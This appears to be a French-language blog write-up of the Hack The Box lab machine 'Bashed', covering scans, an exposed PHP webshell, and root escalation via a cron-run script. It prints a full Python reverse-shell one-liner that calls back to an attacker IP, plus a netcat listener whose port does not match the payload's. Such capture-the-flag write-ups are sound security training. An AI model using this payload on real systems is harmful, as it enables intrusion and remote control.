Post

Hack The Box — Bashed : Writeup

Résolution de la machine Bashed sur Hack The Box : reconnaissance des services, découverte d'un répertoire caché, exploitation d'un webshell PHP et élévation de privilèges via un script exécuté avec les privilèges de scriptmanager.

Hack The Box — Bashed : Writeup

Hack The Box — Bashed

Informations sur la machine

  • Cible : 10.129.71.159

  • Système d’exploitation : Linux

  • Difficulté : Facile

1. Reconnaissance avec Nmap

La première étape consiste à identifier les services accessibles sur la machine cible et à déterminer les différentes surfaces d’attaque disponibles.

J’utilise Nmap avec les options -sC (scripts par défaut) et -sV (détection de version) afin d’obtenir davantage d’informations sur les services accessibles.

1
nmap -sC -sV 10.129.71.159

Résultat :

nmap resultat

Le scan révèle que seul le port 80, correspondant au service HTTP, est ouvert.

Je me rends donc ensuite sur l’application web à l’adresse :

http://10.129.71.159

home page


2. Découverte de contenu Web

Après avoir identifié le serveur web, je passe à la phase de content discovery afin de rechercher d’éventuels fichiers ou répertoires cachés.

J’utilise Gobuster avec une wordlist commune et plusieurs extensions :

1
gobuster dir -u http://10.129.71.159 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js 2>/dev/null

Résultat :

gobuster

Le scan permet notamment d’identifier un répertoire caché :

/dev

Je me rends donc à l’adresse :

http://10.129.71.159/dev/

dev

En explorant ce répertoire, je découvre un fichier nommé :

phpbash.php

En cliquant sur celui-ci, j’obtiens ce qui s’apparente à un webshell PHP semi-interactif.

phpbash


3. Exploitation du Webshell

Afin de déterminer sous quel utilisateur les commandes sont exécutées, j’utilise la commande :

1
whoami

Le résultat indique que je suis connecté en tant que :

www-data

whoami

Je peux donc maintenant utiliser ce webshell pour effectuer différentes opérations sur la machine.


4. Récupération du flag utilisateur

Je me rends dans le répertoire personnel de l’utilisateur arrexel afin de rechercher le fichier user.txt contenant le premier flag.

1
2
cd /home/arrexel
ls

user

Le fichier user.txt est présent. Je peux donc afficher son contenu :

1
cat user.txt

Flag utilisateur :

62**************************6253


5. Énumération des privilèges

Après avoir obtenu un accès à la machine en tant que www-data, je cherche maintenant à déterminer si cet utilisateur possède des privilèges particuliers.

J’utilise pour cela :

1
sudo -l

Résultat :

sudo

On constate que l’utilisateur www-data peut exécuter une commande avec les privilèges de root sans avoir à fournir de mot de passe.

La commande concernée est :

scriptmanager

Cette information constitue une piste intéressante pour l’escalade de privilèges.


6. Analyse du répertoire /scripts

Je me déplace à la racine du système et j’utilise ls -l afin d’examiner les différents répertoires.

1
2
cd /
ls -l

decouverte

Je remarque notamment la présence d’un répertoire :

/scripts

Celui-ci appartient à l’utilisateur scriptmanager et possède les permissions :

drwxrwxr--

Cela signifie que l’accès au répertoire est limité à son propriétaire et aux utilisateurs appartenant à son groupe.

En entrant dans le répertoire, je constate la présence de deux fichiers :

  • test.txt

  • test.py

contenu

Je dois cependant pouvoir lire le contenu de ces fichiers avec les privilèges de scriptmanager.

J’utilise donc :

1
sudo -u scriptmanager cat /scripts/test.py

test


7. Analyse du script test.py

Le contenu du script permet de comprendre son fonctionnement.

On constate que le script recrée le fichier test.txt régulièrement, probablement grâce à une tâche cron.

Cela signifie notamment que le fichier est automatiquement recréé lorsqu’il est supprimé ou déplacé.

Cette automatisation constitue une piste intéressante pour l’escalade de privilèges.


8. Exploitation de la tâche automatisée

Puisque le script test.py est exécuté automatiquement, je décide de modifier son contenu afin qu’il établisse une connexion vers ma machine d’attaque.

L’objectif est d’obtenir un reverse shell.

Je remplace donc le contenu du fichier par le payload suivant :

1
sudo -u scriptmanager bash -c 'echo "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.17.252\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])" > /scripts/test.py'

Je lance simultanément un listener Netcat sur ma machine :

1
nc -lnvp 444

Après quelques instants, le script est exécuté et je reçois une connexion sur mon listener.

J’obtiens alors un reverse shell.


9. Obtention du shell root

Je vérifie sous quel utilisateur le reverse shell est exécuté :

1
whoami

Le résultat indique que je suis connecté en tant que :

root

L’escalade de privilèges est donc réussie.

Je peux maintenant me déplacer dans le répertoire personnel de root afin de récupérer le dernier flag :

1
2
3
cd /root
ls
cat root.txt

Flag root :

c3**************************3438


10. Chaîne d’exploitation (Kill Chain)

La compromission de la machine peut être résumée ainsi :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Nmap
   │
   ▼
Port 80 / HTTP
   │
   ▼
Content Discovery avec Gobuster
   │
   ▼
Découverte du répertoire /dev
   │
   ▼
Découverte de phpbash.php
   │
   ▼
Webshell PHP
   │
   ▼
Shell www-data
   │
   ▼
Accès à /home/arrexel/user.txt
   │
   ▼
Flag User
   │
   ▼
sudo -l
   │
   ▼
Privilèges sur scriptmanager
   │
   ▼
Analyse du répertoire /scripts
   │
   ▼
Analyse de test.py
   │
   ▼
Script exécuté automatiquement
   │
   ▼
Modification de test.py
   │
   ▼
Reverse Shell
   │
   ▼
Shell Root
   │
   ▼
/root/root.txt
   │
   ▼
Flag Root

11. Ce que j’ai appris

Cette machine, bien que classée Facile, m’a permis de mettre en pratique plusieurs notions importantes.

  1. L’importance du content discovery : L’utilisation de Gobuster permet de découvrir des répertoires qui ne sont pas forcément visibles depuis la page d’accueil. Dans ce cas, la découverte de /dev a permis d’identifier directement le point d’entrée de la machine.

  2. L’exploitation d’un webshell : La découverte de phpbash.php montre l’importance d’analyser les fichiers accessibles sur une application web. Un simple fichier PHP exposé peut permettre d’obtenir une exécution de commandes sur le serveur.

  3. L’énumération des privilèges sudo : Après avoir obtenu un accès initial, la commande sudo -l constitue une étape importante pour déterminer les possibilités d’escalade de privilèges.

  4. L’analyse des tâches automatisées : L’analyse de test.py permet de comprendre qu’un script est exécuté régulièrement et recrée automatiquement test.txt. L’exploitation de ce mécanisme permet finalement d’obtenir un reverse shell.

  5. L’importance de l’énumération après le premier accès : L’obtention d’un shell www-data ne signifie pas que la compromission est terminée. Il faut continuer à énumérer la machine afin d’identifier les possibilités d’escalade de privilèges.

This post is licensed under CC BY 4.0 by the author.